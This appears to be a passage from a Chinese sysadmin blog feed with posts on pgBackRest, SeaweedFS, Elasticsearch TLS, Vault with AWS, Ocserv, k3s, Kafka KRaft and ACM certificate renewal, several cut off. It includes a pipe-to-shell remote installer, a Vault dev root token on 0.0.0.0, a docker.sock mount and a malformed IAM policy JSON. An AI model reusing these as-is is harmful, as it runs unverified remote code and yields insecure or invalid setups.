repo1-retention-archive=180      # 保留最近 180 天的 WAL 日志
log-level-file=info              # 文件日志级别
log-level-console=info           # 控制台日志级别

global:archive-push 设置的是wal归档的保存方式是压缩保存
main部分设置的是要备份的postgres源的路径和端口，【main】是stanza的名字

上面的备份其实有三种备份，full和incr和wal备份，那如果full和增量都没了，只要wal还在，那么依然能恢复到180天之内的某个时间点。wal很占空间，full也很占空间，一定要算准了。

那其实pgbackrest是用postgres身份去执行命令的，所以不用认证身份。

二、配置postgres

vi /etc/postgresql/13/main/postgresql.conf

# wal归档方法：
#archive_mode = on
#archive_command = 'cp %p /data/backup/%f'

# pgbackrest归档方法：
archive_mode = on                  
archive_command = 'pgbackrest --stanza=main archive-push %p'  
wal_level = replica   #备份级别是副本
max_wal_senders = 3   #最多wal日志发到3个客户端去

# 需要重启postgres
systemctl restart postgresql

三、测试pgbackrest的备份功能

  # 建立一个stanza
  sudo -u postgres pgbackrest --stanza=main --log-level-console=info stanza-create
  
  # 检查
  sudo -u postgres pgbackrest --stanza=main --log-level-console=info check
  
  # 查看信息
  sudo -u postgres pgbackrest info

seaweed S3服务单机版正式环境的部署

Mon, 15 Sep 2025 09:01:11 +0800

公司要做系统迁移，从AWS迁移到自建机房，那迁移的项目就一大堆，S3也在其中之列。

找来找去，第一首选的替代软件是minio，可是万恶的minio团队在这个时间点，已经后台移除了 admin 相关的操作权限

要想用呢，只能用个老版本的：quay.io/minio/minio:RELEASE.2025-04-22T22-12-26Z

那只能再找了，于是找到了SeaweedFS，这个软件其实是个彻头彻尾的单文件，但是分布式全集群架构

简单的说，就是一个软件，包含了10几种功能。

而我们呢，其实就要它的一个功能s3，而且要用于生产。网上一大堆的教程都是各种分布式的部署，如果机器足够，大家可以参考网上教程。

我们单台机器，硬盘底层是raid10，然后上层就只提供s3，而且要配置简单，没有什么安全问题，这台机器是直接暴露公网IP的。

那最简单的方法就是Docker compose，而且只放开s3的指定端口：

services:
  seaweedfs-s3:
    image: chrislusf/seaweedfs
    container_name: seaweedfs-s3
    volumes:
      - ./data:/data
      - ./config/config.json:/seaweedfs/config.json
    ports:
      - "127.0.0.1:8333:8333"
      # - "9333:9333"
    entrypoint: /bin/sh -c
    command: |
      "echo 'Starting SeaweedFS S3 server' && \
      weed server -dir=/data -volume.max=120 -s3 -s3.config /seaweedfs/config.json"
    restart: unless-stopped

仔细解释上面的参数：

ports 只开了 127.0.0.1:8333 的S3端口，其它都不开，如果需要查看服务状态，可以临时打开9333端口查看，看完再关
-volume.max=120，这个务必要注意，seaweed是分卷的，一个卷最多30G，缺省是8个卷。那缺省就是只有240G的容量，我们的硬盘是4T的，剩余3.7TB，那算下来，30*120=3600G=3.6T。这样就对准了，这个参数一定要根据生产的实际情况进行调整.
另外还把config.json的配置文件给mount入docker卷中了，配置文件里放的就是S3的IAM访问权限控制

详细看一下config.json

{
  "identities": [
    {
      "name": "admin",
      "credentials": [
        {
          "accessKey": "aaa",
          "secretKey": "bbb"
        }
      ],
      "actions": [
        "Admin",
        "Read",
        "List",
        "Tagging",
        "Write"
      ]
    },
    {
      "name": "goods",
      "credentials": [
        {
          "accessKey": "ccc",
          "secretKey": "ddd"
        }
      ],
      "actions": [
        "Read:goods",
        "Write:goods",
        "List:goods",
        "Tagging:goods",
        "Admin:goods"
      ]
    }
  ]
}

解释一下，上面定义了一个admin用户，可以对所有s3进行读写和管理。

生产环境Elasticsearch 8单节点Docker-compose的安装方法

Tue, 02 Sep 2025 09:01:11 +0800

要在生产环境建一套Elasticsearch 8.0，单节点搭配Kibana，确实是困难重重，新版本需要TLS验证了

现在这个时间节点，2025年9月2日，Elasticsearch最新版本是9.0，后撤2个版本是8.18.6

那就用这个版本了，然后根据官方的文档会把人搞糊涂的。

正确的方法如下：

一、建立自签的证书

其实可以用ACME的证书，但是没有人会三个月就去重启一下ES的容器，更新证书吧！

那只能选择自建CA，自签一个证书了！

因为有2个pod，es和kibana，所以要签两张证书，签证书随便用ES的一个版本就可以：

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.4.1-linux-x86_64.tar.gz

tar -zxf elasticsearch-8.4.1-linux-x86_64.tar.gz

cd elasticsearch-8.4.1/
./bin/elasticsearch-certutil ca --pem

# 得到CA证书，放在当前目录ca目录下
unzip elastic-stack-ca.zip

# 生成签发配置文件
cat << EOF >instances.yml 
instances:
   - name: es01
     dns:
       - es01
       - localhost
     ip:
       - 127.0.0.1
   - name: kibana
     dns:
       - kibana
       - localhost
     ip:
       - 127.0.0.1
EOF

# 签发2个pod的证书
./bin/elasticsearch-certutil cert --ca-cert ca/ca.crt --ca-key ca/ca.key --pem --in instances.yml
 
# 得到2张证书和key
unzip certificate-bundle.zip
# 生成两个目录，es01和kibana

# 准备好证书目录
mkdir -p /data/elasticsearch/certs
mv ca es01 kibana /data/elasticsearch/certs

# 准备好持久化卷
mkdir -p /data/elasticsearch/kibanadata
mkdir -p /data/elasticsearch/esdata01

二、配置docker-compose.yaml

8.18.6版本的docker-compose.yaml文件，位于：/data/elasticsearch/docker-compose.yaml

AWS托管的Valkey数据转移到社区Redis.io去

Wed, 20 Aug 2025 09:01:11 +0800

这还真是个大活，耗费了整整一天的时间。

究其原因根本就是无论AWS托管的Valkey还是社区的Redis.io，都是被魔改过的阉割版，真是无语他妈给无语开门，无语到家了！

说一下详细的过程：

接到这个任务，首先想到的是同步软件redis-Gunyu

https://github.com/mgtv-tech/redis-GunYu

结果是失败，原因很奇葩，因为aws valkey是必须带tls连接的，Gunyu不支持，放弃。

然后找到了redis-shake

https://tair-opensource.github.io/RedisShake

结果还是失败，理由是不支持PSync，用了scan_reader也失败

然后就又想到了万能的ChatGPT和Google的Gemini，分别给了2个python程序，也是失败

原因是不支持Migrate命令，而且valkey是基于redis 7.2改的，而Redis.io是8.0，命令不兼容

走投无路之下想到了rdb-tools，先把valkey做个备份，放到S3桶里

valeky-20250819-0001.rdb
valeky-20250819-0002.rdb
valeky-20250819-0003.rdb
valeky-20250819-0004.rdb
valeky-20250819-0005.rdb
valeky-20250819-config.json

cat valeky-20250819-config.json 
{
  "valeky-20250819/valeky-20250819-0002.rdb" : {
    "Slots" : "0-5496",
    "rdbSize" : "5234516"
  },
  "valeky-20250819/valeky-20250819-0004.rdb" : {
    "Slots" : "5497-8375",
    "rdbSize" : "4340658"
  },
  "valeky-20250819/valeky-20250819-0003.rdb" : {
    "Slots" : "10082-16383",
    "rdbSize" : "5962581"
  },
  "valeky-20250819/valeky-20250819-0001.rdb" : {
    "Slots" : "8376",
    "rdbSize" : "2218"
  },
  "valeky-20250819/valeky-20250819-0005.rdb" : {
    "Slots" : "8377-10081",
    "rdbSize" : "1540505"
  }
}

看起来是5个rdb备份，每个文件对应redis不同的slots

用rdb来解析备份文件，结果失败，因为不认识valkey rdb的版本。

没办法了，又找到了这个软件

https://github.com/HDT3213/rdb

下载后，首先想处理成json文件，然后灌入到redis.io

./rdb-linux-amd64 -c json -o 0001.json valeky-20250819-0001.rdb

失败，因为json文件灌入的时候redis.io又被阉割了，命令不支持

Ocserv VPN的安装和使用

Tue, 19 Aug 2025 09:01:11 +0800

由于ios的openvpn大陆地区无法安装，而员工又需要手机或PC登录VPN访问云上的资源，没办法，找了又找，终于，发现cisco的vpn还是能在苹果市场下载安装的，那就装个开源的Ocserv吧，别说还挺好，能分组控制路由的发布，非常不错

记录一下安装配置过程，使用Ubuntu 24.04的底版：

apt update
apt upgrade

apt-cache show ocserv
apt-get install -y ocserv

ocserv --version

安装步骤就如上，非常简单，跟openvpn一样，配置文件就一个 /etc/ocserv/ocserv.conf, 编辑一下：

# 认证方式为用户名密码认证
auth = "plain[passwd=/etc/ocserv/passwd]"

# 开放端口
tcp-port = 443
udp-port = 443

# 证书
server-cert = /etc/ocserv/_.rendoumi.com.crt
server-key = /etc/ocserv/_.rendoumi.com.key

# 最多用户数
max-clients = 1024

# 绑定域名
default-domain = m.rendoumi.com

# 分配的动态ip段
ipv4-network = 10.8.12.0
ipv4-netmask = 255.255.255.0

# 不路由
no-route = 10.0.0.0/255.0.0.0
no-route = 172.16.0.0/255.240.0.0
no-route = 192.168.0.0/255.255.0.0

# 发布路由
route = 10.8.2.15/32
route = 10.10.247.234/32
route = 10.10.240.37/32

说明：端口开在了443端口，证书用的是acme的免费证书，域名是m.rendoumi.com，ip段是10.8.12.0/24

Vault使用AWS的federation_token进行交互

Mon, 18 Aug 2025 09:12:11 +0800

Vault的使用继续深入，通常情况下都是先拿到valut的root token，然后登录设置aws的认证，同时把aws的iam root凭据灌进去，然后write进行论转，这样凭据就只存在于vault之中了，没有泄露的可能。然后从这个root凭据再派生成各种使用时长有限制的临时凭据用。

但是，嘿嘿，我偏偏没有root凭据，因为我是外面管理员。只能用 federation_token 进行登录。

那怎么使用呢？方法如下：

首先在AWS的IAM建立两个policy

# Federator 的policy，用于获得token
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "sts:GetFederationToken",
            "Resource": "*"
        }
    ]
}

# Change-self-access-keys 的policy，用于轮转key
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:ListUsers",
                "iam:GetAccountPasswordPolicy"
            ],
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "iam:*AccessKey*",
                "iam:GetUser"
            ],
            "Resource": [
                "arn:aws:iam::*:user/${aws:username}"
            ]
        }
    ]
}

然后在Vault中设置使用AWS secrets

vault secrets enable aws

# aws中需要对应IAM的权限
# 要么是真有aws iam的用户；要么是有一个role，和对应的临时用户；二选一
vault write aws/config/root access_key=YYY \ 
  secret_key=XXX region=us-east-1 \
  sts_endpoint=https://sts.us-east-1.amazonaws.com sts_region=us-east-1
  
# 轮转root凭据，这样root凭据就只存在于vault中了
vault write -force aws/config/rotate-root

使用方法：

vault使用external secret管理kubernetes secret

Fri, 15 Aug 2025 09:01:11 +0800

今天是2025年8月15日，大噩耗啊：

external-secrets / external-secrets

Link

⭐ 5416 | 🔀 1032 | Go 97.6%

External Secrets Operator 项目暂停发布

由于维护团队规模过小，External Secrets Operator 决定暂停所有官方版本发布，直到重建足够的维护团队。

Key Takeaways

项目暂停所有官方版本发布，包括新功能、补丁和容器镜像。
将继续审核和合并社区的 PR，但不会提供 GitHub Discussions、Slack 或问题评论的支持。
需要至少五名长期维护者来确保项目的可持续发展。
鼓励依赖该项目的公司或团队积极参与贡献。
贡献者可通过填写表单或查看治理文档加入项目。

居然暂停发布了，那就抓紧时间把Vault跟它的集成记录下来：

一、首先必须在集群里安装Vault，然后安装external -secrets，都用helm装即可

helm repo add hashicorp https://helm.releases.hashicorp.com
helm repo update
helm install vault hashicorp/vault --set "server.dev.enabled=true" --set "injector.enabled=true" --namespace default


helm repo add external-secrets https://charts.external-secrets.io
helm repo update
helm install external-secrets external-secrets/external-secrets --namespace external-secrets --create-namespace --set installCRDs=true

二、k8s授权，k8的授权体系就是 sa -> role -> rolebinding

那kubernetes会把pod中sa的Token注入到文件：/var/run/secrets/kubernetes.io/serviceaccount/token

k3s的安装

Fri, 08 Aug 2025 09:11:11 +0800

这篇是一个大水贴，只是为了记录k3s的安装

这个东西被Rancher用得纯熟，先搭建一个k3s集群，然后再其上装控制软件，再去控制其它集群，非常好的想法，值得借鉴

安装和删除都非常简洁，准备工作：

apt update && apt upgrade -y

# 三台机器分别设置
hostnamectl set-hostname master
hostnamectl set-hostname worker-1
hostnamectl set-hostname worker-2

# vi /etc/hosts
127.0.0.1 master

# 两外两台也分别设置
127.0.0.1 worker-1

# 第3台
127.0.0.1 worker-2

准备工作都弄好了。下面安装

curl -sfL https://get.k3s.io | sh -

systemctl status k3s

cat /var/lib/rancher/k3s/server/node-token

# 加入新节点
curl -sfL https://get.k3s.io | K3S_URL=https://192.168.0.200:6443 K3S_TOKEN=<your-token-here> INSTALL_K3S_EXEC="--node-ip=<worker-ip>" sh -

删除也就一句

/usr/local/bin/k3s-uninstall.sh

可以反复进行安装

欧拉PageCache的内核编译

Fri, 08 Aug 2025 09:01:11 +0800

欧拉 Page Cache 的内核编译

PageCache提供了一种限制page cache的能力，能够对page cache的总量进行控制, 增强系统在数据库等page cache占比较高场景下的稳定性，积极释放缓存。

它提供了以下sysctl接口：

vm.pagecache_limit_ratio：pagecache占系统总内存的百分比，[0, 100]，0和100都表示功能关闭。
vm.pagecache_limit_reclaim_ratio：针对pagecache真实回收的比例，在实际回收时，总是比pagecache_limit_ratio的多回收一些，默认比例是2%。
vm.pagecache_limit_ignore_dirty：在回收时是否忽略脏页，默认忽略。因为对脏页的回收较耗时。

补丁是基于 openEuler-22.03-LTS 的，不适用于 24.03-LTS，代码都已不同了

编译过程如下：

一、安装好openEuler-22.03-LTS，磁盘留够空间，最少留20G

二、安装编译已经所需软件

dnf install -y rpm-build openssl-devel bc rsync gcc gcc-c++ flex bison m4 elfutils-libelf-devel
dnf install -y python
dnf install -y ncurses-devel
dnf install -y dwarves

三、安装内核源代码

dnf install -y kernel-source

现在是2024年11月4日，内核版本是 linux-5.10.0-60.139.0.166.oe2203.x86_64，注意补丁的适用范围

四、打补丁

page.patch

将page.patch 放到 /usr/src

cd /usr/src/linux-5.10.0-60.139.0.166.oe2203.x86_64
patch -p1 < ../page.patch

五、编辑内核版本号，EXTRAVERSION的版本号要大于当前内核版本，否则无法安装。当前是166，改成+1，167

cd /usr/src/linux-5.10.0-60.139.0.166.oe2203.x86_64

vi Makefile
# SPDX-License-Identifier: GPL-2.0
VERSION = 5
PATCHLEVEL = 10
SUBLEVEL = 0
EXTRAVERSION = -60.139.0.167.oe2203.x86_64
NAME = Kleptomaniac Octopus
OPENEULER_MAJOR = 2203
OPENEULER_MINOR = 0

六、编译

为极客天成改写一套CSI存储插件

Thu, 07 Aug 2025 09:01:11 +0800

极客天成有个很厉害的scaleflash网络文件系统，充分利用rdma的无损网络特性，并进一步发扬光大。研发出来了可以顶替EMC盘阵的存储系统，可以在其上跑Oracle等数据库系统，真的是国货之光了。

帮它们改写了一个csi的存储插件，记录一下，基于yandex的s3 csi而来，这样既可以跑到底层上提供文件块设备，也可以上升到类似NFS或者S3的层次提供文件系统，能满足大多数需求。那源代码就绝对不提供了，只说一下过程：

CSI PLUGIN的使用方法：

一、导入镜像

csi存储插件的image

cr.yandex/crp9ftr22d26age3hulg/csi-s3:0.42.66

文件：csi.tar

将文件放到所有worknode上，导入本地镜像库:

ctr --address /run/k3s/containerd/containerd.sock -n k8s.io images import /root/csi.tar

crictl -r unix:///run/k3s/containerd/containerd.sock images

看到有 cr.yandex/crp9ftr22d26age3hulg/csi-s3:0.42.66 既是导入成功

二、安装controller和nodeserver

安装driver

文件：driver.yaml

kubectl apply -f driver.yaml

安装controller

文件：controller.yaml

kubectl apply -f controller.yaml

安装nodeserver

文件：nodeserver.yaml

解释一下，controller是一个statefulset，整个集群运行一个即可；而nodeservershi则是一个daemonset，每个worknode都会运行一个副本

上面 worknode 是3个，所以有3个副本

三、scaleflash 块设备的使用

块设备最小单位是G，所以如果需求了100M，那也是1G。

首先必须定义一个storageclass，以后使用这一个storageclass就可以了：

cat << EOF >scaleflash-storageclass.yaml
---
kind: StorageClass
apiVersion: storage.k8s.io/v1
metadata:
  name: scaleflash
provisioner: ru.yandex.s3.csi
parameters:
  mounter: scaleflash
  clstID: "nvmatrix_101"
  fsType: "xfs"
EOF

kubectl apply -f scaleflash-storageclass.yaml

再定义pvc

vault使用agent验证approle生成.env环境变量

Wed, 06 Aug 2025 09:01:11 +0800

Vault是个很厉害的 secret 引擎了，不多说了，主要用于集中管理各种密码、密钥。

用来管理Kubernetes的凭据相当好，但是我们通常是自己开发的程序，然后需要读各种配置文件，比如连接DB的用户名，密码等等，最后连接到数据库。

那么这种情况下，如果管理好配置项呢？

方法如下，用approle读取Vault的配置信息：

一、启动vault引擎测试环境

首先启动vault引擎，测试，用Docker，方便创建和销毁

# 启动容器
# 我们手动指定了ROOT_TOKEN是root，这只用于测试环境
docker run -d --rm \
  --add-host host.docker.internal:host-gateway \
  --cap-add=IPC_LOCK \
  --name vault \
  -p 8200:8200 \
  -e VAULT_DEV_ROOT_TOKEN_ID=root \
  -e VAULT_DEV_LISTEN_ADDRESS=0.0.0.0:8200 \
  hashicorp/vault

`--add-host host.docker.internal:host-gateway`

这个个参数的作用是在容器的 /etc/hosts 文件中添加一个主机名和 IP 地址的映射。

--add-host: 这是 docker run 的一个选项，用来在容器的 /etc/hosts 文件中添加一个自定义的主机条目。
host.docker.internal: 这是主机名。在 Docker Desktop（macOS 和 Windows）中，host.docker.internal 是一个特殊的 DNS 名称，它会被解析为宿主机的内部 IP 地址。
host-gateway: 这是 docker 在较新版本中引入的一个特殊关键字。它代表了宿主机与 Docker 网络之间的网关 IP 地址。在许多 Linux 环境中，这个关键字会指向 Docker 的网桥 IP（例如 172.17.0.1）。

综合起来，--add-host host.docker.internal:host-gateway 的作用是：

上难度---->内网vps用lego申请route53 DNS证书并更新到BT宝塔

Tue, 29 Jul 2025 09:01:11 +0800

上一篇我们说了 Aws的EC2服务器用lego获得免费证书并更新到ACM，这下又来了个更加有难度的挑战：

DNS解析是放在了AWS Route 53上，然后vps上跑着BT宝塔，用来代理转发开发环境的https证书

这个环境如何用lego来安全的申请到证书并配置宝塔呢？这回可不像EC2那样可以自动附加IAM角色了

我们先来看看lego的用法吧：

https://go-acme.github.io/lego/dns/route53/

语法如下：

继续看，看来必须需要IAM的凭据才可以，继续下拉，有使用IAM的policy，那我们必须创建一个Role角色，然后再建立一个代理用户，gen出key，通过这个代理用户的凭据来间接进行访问

步骤如下：

一、去route53，拿到arn

我们要拿到具体域名的zone ID，就是Z0打头的那一串

二、建立IAM实际工作的Role

首先建立一个Policy，route53AcmeCert

{
    "Version": "2012-10-17
    "Statement": [
        
            "Effect": "Allow",
            "Action": "route53:GetChange",
            "Resource": "arn:aws:route53:::change/*"
        },
        {
            "Effect": "Allow",
            "Action": "route53:ListHostedZonesByName",
        },
        {
            "Effect": "Allow",
            "Action": [
                "route53:ListResourceRecordSets"
            ],
            "Resource": [
                "arn:aws:route53:::hostedzone/Z01111111111111111111"
            ]
        },
        {
            "Effect": "Allow",
            "Action": [
                "route53:ChangeResourceRecordSets"
            ],
            "Resource": [
                "arn:aws:route53:::hostedzone/Z01111111111111111111"
            ],
            "Condition": {
                "ForAllValues:StringEquals": {
                    "route53:ChangeResourceRecordSetsNormalizedRecordNames": [
                        "_acme-challenge.example.com"
                    ],
                    "route53:ChangeResourceRecordSetsRecordTypes": [
                        "TXT"
                    ]
                }
            }
        }
    ]
}

然后建立一个Role，RealUpdateCertRole，绑定上面的策略

Postgres的wal和PITR时间点恢复

Mon, 28 Jul 2025 11:01:11 +0800

研究了Postgres的库数据恢复和转移，再来研究一下PITR按时间点恢复

类比到MySQL，因为我们是运维，不是专业的DBA，所以恢复到正确数据即可

那跟阿里云以及自建的MySQL恢复一样，首先都要有一个每天的基础备份，然后类比MySQL的Binlog，Postgres这里就相当于wal。

这么类比就对了，那么恢复过程的思路是一样的：

首先建立一个新的实例
第二步把每天的基础物理全备给恢复上去
第三步把之后的wal日志传到新实例，恢复到指定时间点
第四步最后把表或库Dump下来，灌入到旧实例的新表或新库

那我们一步一步来解释：

一、每天建立一个基础备份，这样在Base基础上，只需恢复当天的wal，速度够快

建立每天的Base基础物理备份

pg_basebackup -Ft -Pv -Xf -z -Z5 -U postgres -h localhost -p 5432 -D /pg_backup

解释一下：
    -Ft：
        指定备份格式为 tar。
        如果使用 tar 格式，备份会输出 tar 文件，并且不需要直接访问 PostgreSQL 数据目录。
    -Pv：
        -P：显示备份进度。
        -v：启用详情模式（verbose），显示更多日志。
    -Xf：
        -X：控制 WAL 日志的处理方式，f 表示在备份中包含 WAL 文件（Write Ahead Logs），确保备份可以用于恢复到完整的一致状态。
    -z：
        启用压缩功能。
    -Z5：
        设置压缩级别为 5（压缩级别从 0 到 9，9 为最高压缩）。
    -U postgres：
        使用 postgres 用户来连接数据库。
    -h localhost：
        指定数据库主机为当前机器（localhost）。
    -p 5432：
        指定 PostgreSQL 监听端口为 5432（默认端口）。
    -D /pg_backup：
        将备份文件保存到指定路径 /pg_backup 中。

这样我们就在 /pg_backup 中有了备份文件，包括一个backup_manifest的文件清单，以及一个压缩包

单机部署kafka用kraft不依赖zookeeper

Mon, 28 Jul 2025 10:01:11 +0800

上一篇说了用Docker部署kafka，后端不用zookeeper，改用kraft。

这一篇说说不用Docker，直接单机部署kafka用kraft的方法。

一、准备，虚机的话需要4cpu 8G内存

# 装好java
java --version

建3个目录
# 放kafka的2进制可执行文件
mkdir -p /opt/kafka  

# 放kafka的日志文件
mkdir -p /var/log/kafka

# 放kafka的数据文件
mkdir -p /var/lib/kafka

二、下载并配置kafka

# 释放到指定目录
tar -xzf kafka_2.13-3.5.0.tgz -C /opt/kafka

# 修改/opt/kafka/config/server.properties
process.roles=broker,controller
node.id=1
controller.quorum.voters=1@localhost:9093
listeners=PLAINTEXT://localhost:9092,CONTROLLER://localhost:9093
log.dirs=/var/lib/kafka

# 然后需要再追加到server.properties的部分
metadata.log.dir=/var/lib/kafka/metadata
num.replica.fetchers=1
offsets.topic.replication.factor=1
transaction.state.log.replication.factor=1
transaction.state.log.min.isr=1

三、初始化kafka集群

# 生成一个uuid
uuidgen
dc66bcb0-758e-4360-843d-5ccb1da2ee74

# 初始化
cd /opt/kafka
bin/kafka-storage.sh format -t <UUID> -c config/server.properties

# 启动
bin/kafka-server-start.sh config/server.properties

# 检查一下代理的状态
bin/kafka-broker-api-versions.sh --bootstrap-server localhost:9092

四、推送数据验证

用Docker部署kafka且不依赖zookeeper

Mon, 28 Jul 2025 09:01:11 +0800

用redpanda居然还要每隔30天更新一下License文件，叔可忍婶不可忍啊。

换掉换掉，直接用Docker部署kafka，后端不用zookeeper，用kraft，天下苦zk也久矣！

方法很简单，用docker-compose，编辑docker-compose.yml文件

name: 'stream'
services:
  kafka:
    image: confluentinc/cp-kafka:latest
    hostname: kafka
    container_name: kafka
    ports:
      - 9092:9092
      - 9093:9093
    environment:
      KAFKA_KRAFT_MODE: true  # This enables KRaft mode in Kafka.
      KAFKA_PROCESS_ROLES: controller,broker  # Kafka acts as both broker and controller.
      KAFKA_NODE_ID: 1  # A unique ID for this Kafka instance.
      KAFKA_CONTROLLER_QUORUM_VOTERS: 1@10.8.1.119:9093  # Defines the controller voters.
      KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,CONTROLLER://0.0.0.0:9093
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,CONTROLLER:PLAINTEXT
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
      KAFKA_CONTROLLER_LISTENER_NAMES: CONTROLLER
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://10.8.1.119:9092
      KAFKA_LOG_DIRS: /var/lib/kafka/data  # Where Kafka stores its logs.
      KAFKA_AUTO_CREATE_TOPICS_ENABLE: true  # Kafka will automatically create topics if needed.
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1  # Since we’re running one broker, one replica is enough.
      KAFKA_LOG_RETENTION_HOURS: 168  # Keep logs for 7 days.
      KAFKA_GROUP_INITIAL_REBALANCE_DELAY_MS: 0  # No delay for consumer rebalancing.
      CLUSTER_ID: Mk3OEYBSD34fcwNTJENDM2Qk  # A unique ID for the Kafka cluster.
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - ./data:/var/lib/kafka/data  # Store Kafka logs on your local machine.

注意以上的文件，暴露了2个端口，9092和9093，9092用于客户端连接，9093用于集群通讯；KAFKA_KRAFT_MODE: true用kraft不用zk. ClUSTER_ID可以换个不同的。

aws的EC2服务器用lego获得免费证书并更新到ACM

Fri, 25 Jul 2025 10:01:11 +0800

交代一下背景：

公司在AWS上用的是EKS+Fargate，还有一个跳板机，证书呢就不太想用aws收费的了，干脆用免费的证书好了。

那问题就来了，Let‘s encrypt的证书90天到期，已经手动更新过3次了，实在太麻烦了，能不能自动申请并更新到ACM呢？

答案是可以的，原理是：利用EC2可以携带IAM角色的原理，就可以无凭证更新免费证书到AWS Certificate Manager了

做法如下：

一、首先去ACM中拿到证书的ARN，要确保IAM权限不外泄，避免更新错证书

二、生成一个IAM的policy，命名为AllowUpdateCertificate，只允许更新这两个特定的证书

具体策略内容如下：

{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Effect": "Allow",
			"Action": [
				"acm:ImportCertificate"
			],
			"Resource": [
				"arn:aws:acm:ap-southeast-1:111111111111:certificate/arn01",
				"arn:aws:acm:ap-southeast-1:111111111111:certificate/arn02"
			]
		}
	]
}

三、IAM生成一个role角色，命名为Ec2UpdateCertificateRole，把AllowUpdateCertificate策略给附上

四、到EC2的实例详细信息中，操作–>安全–>修改IAM角色

附上Ec2UpdateCertificateRole这个角色

五、在EC2的机器上，装好AWS CLI，还有lego(申请Let’s encrypt证书的软件)

先写好获得证书的脚本 get_cert.sh，域名DNS解析是托管到cloudflare的，所以也直接用API TOKEN来处理

#!/bin/bash

CLOUDFLARE_DNS_API_TOKEN=######## /usr/local/bin/lego --path /usr/local/bin/certs --email zhangranrui@rendoumi.com --dns cloudflare --domains *.rendoumi.com --domains rendoumi.com renew --renew-hook="/usr/local/bin/update_aws_cert.sh"

参数--renew-hook如果有新证书，就调用后面的脚本。如果没有新证书，就无操作，避免无用功。

然后再写好 update_aws_cert.sh，这就是个千字文了，由gemini生成的：

由于lego生成的crt是证书+证书链，所以第一步要把证书部分给单独拆出来

#!/bin/bash

cd /usr/local/bin/certs/certificates

#首先把证书单独拆出来
awk '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/ {print} /-----END CERTIFICATE-----/ {exit}' _.rendoumi.com.crt > _.rendoumi.com.only

# --- 配置部分 ---
# 您要更新的现有 ACM 证书的 ARN
# 示例：CERTIFICATE_ARN="arn:aws:acm:ap-southeast-1:123456789012:certificate/abcdefab-1234-5678-abcd-1234567890ab"
CERTIFICATE_ARN="arn:aws:acm:ap-southeast-1:111111111111:certificate/11111111-1111-1111-1111-111111111111"

# 新证书文件的路径（例如：/opt/certs/new_certificate.crt）
# 确保这个路径在您的EC2实例上是正确的
CERTIFICATE_BODY_PATH="_.rendoumi.com.only"

# 新私钥文件的路径（例如：/opt/certs/private.key）
# 确保这个路径在您的EC2实例上是正确的
PRIVATE_KEY_PATH="_.rendoumi.com.key"

# 证书链文件的路径（可选）
# 如果没有证书链，请将此变量留空或注释掉
# 示例：CERTIFICATE_CHAIN_PATH="/opt/certs/ca_bundle.crt"
CERTIFICATE_CHAIN_PATH="_.rendoumi.com.issuer.crt" # 如果没有链，请将其留空 ""

# ACM 证书所在的 AWS 区域
# 这个区域应该与 CERTIFICATE_ARN 中的区域匹配
# 示例：AWS_REGION="ap-southeast-1"
AWS_REGION="ap-southeast-1"
# --- 配置部分结束 ---

echo "--- 开始使用实例角色重新导入 ACM 证书 ---"
echo "证书 ARN: ${CERTIFICATE_ARN}"
echo "区域: ${AWS_REGION}"

# 检查文件是否存在
if [ ! -f "${CERTIFICATE_BODY_PATH}" ]; then
    echo "错误：证书文件 '${CERTIFICATE_BODY_PATH}' 不存在。"
    exit 1
fi

if [ ! -f "${PRIVATE_KEY_PATH}" ]; then
    echo "错误：私钥文件 '${PRIVATE_KEY_PATH}' 不存在。"
    exit 1
fi

if [ -n "${CERTIFICATE_CHAIN_PATH}" ] && [ ! -f "${CERTIFICATE_CHAIN_PATH}" ]; then
    echo "警告：证书链文件 '${CERTIFICATE_CHAIN_PATH}' 已指定但不存在。将不包含证书链进行导入。"
    CERTIFICATE_CHAIN_PATH="" # 如果文件不存在，则清空路径
fi

# 构造 AWS CLI 命令。AWS CLI 会自动使用实例角色提供的凭证。
IMPORT_CMD="aws acm import-certificate \
  --certificate-arn ${CERTIFICATE_ARN} \
  --certificate fileb://${CERTIFICATE_BODY_PATH} \
  --private-key fileb://${PRIVATE_KEY_PATH} \
  --region \"${AWS_REGION}\""

# 如果有证书链，则添加到命令中
if [ -n "${CERTIFICATE_CHAIN_PATH}" ]; then
    IMPORT_CMD="${IMPORT_CMD} --certificate-chain fileb://${CERTIFICATE_CHAIN_PATH}"
fi

echo "正在执行命令："
echo "$IMPORT_CMD"
echo "--------------------------"

# 执行命令
# 注意：这里我们不指定 --profile 或任何凭证，AWS CLI 会自动使用实例IAM角色。
eval $IMPORT_CMD

# 检查命令执行结果
if [ $? -eq 0 ]; then
    echo "--- 证书重新导入成功！---"
    echo "ACM 证书 ${CERTIFICATE_ARN} 已更新。"
else
    echo "--- 证书重新导入失败！---"
    echo "请检查错误消息，确保："
    echo "1. EC2 实例已正确附加了具有 acm:ImportCertificate 权限的 IAM 角色。"
    echo "2. 证书、私钥和链文件路径正确且可读。"
    echo "3. 证书/私钥/链的格式正确。"
fi

echo "--- 脚本执行完毕 ---"

看起来真的是又臭又长，废话连篇。注意：gemini 生成的代码有问题，aws acm import-certificate 的参数中，证书文件的前缀是fileb://，gemini给的是file://，调试了半天，最后去aws看了文档才发现。

Redpanda到期后如何续License

Fri, 25 Jul 2025 09:01:11 +0800

上回我们在 Kafka的测试替代品-Redpanda 中说了怎么搭建，结果用了一个月，问题就来了

license过期了，擦的，只允许用30天，需要续费了。

方法如下：

一、打开网站，申请30天的免费license

https://cloud.redpanda.com/try-enterprise

打开网站，然后填入姓名和邮箱，就会得到一个长字符串xyz，拷贝下来

二、去机器上

我们是用docker compose启动的，所以需要进入容器，导入license

docker exec -it redpanda-0 /bin/sh

rpk cluster license set xyz

三、重启容器

按道理上一步弄完，就应该好了的，可惜这产品做的稀烂。还必须重启容器才起作用

docker compose restart

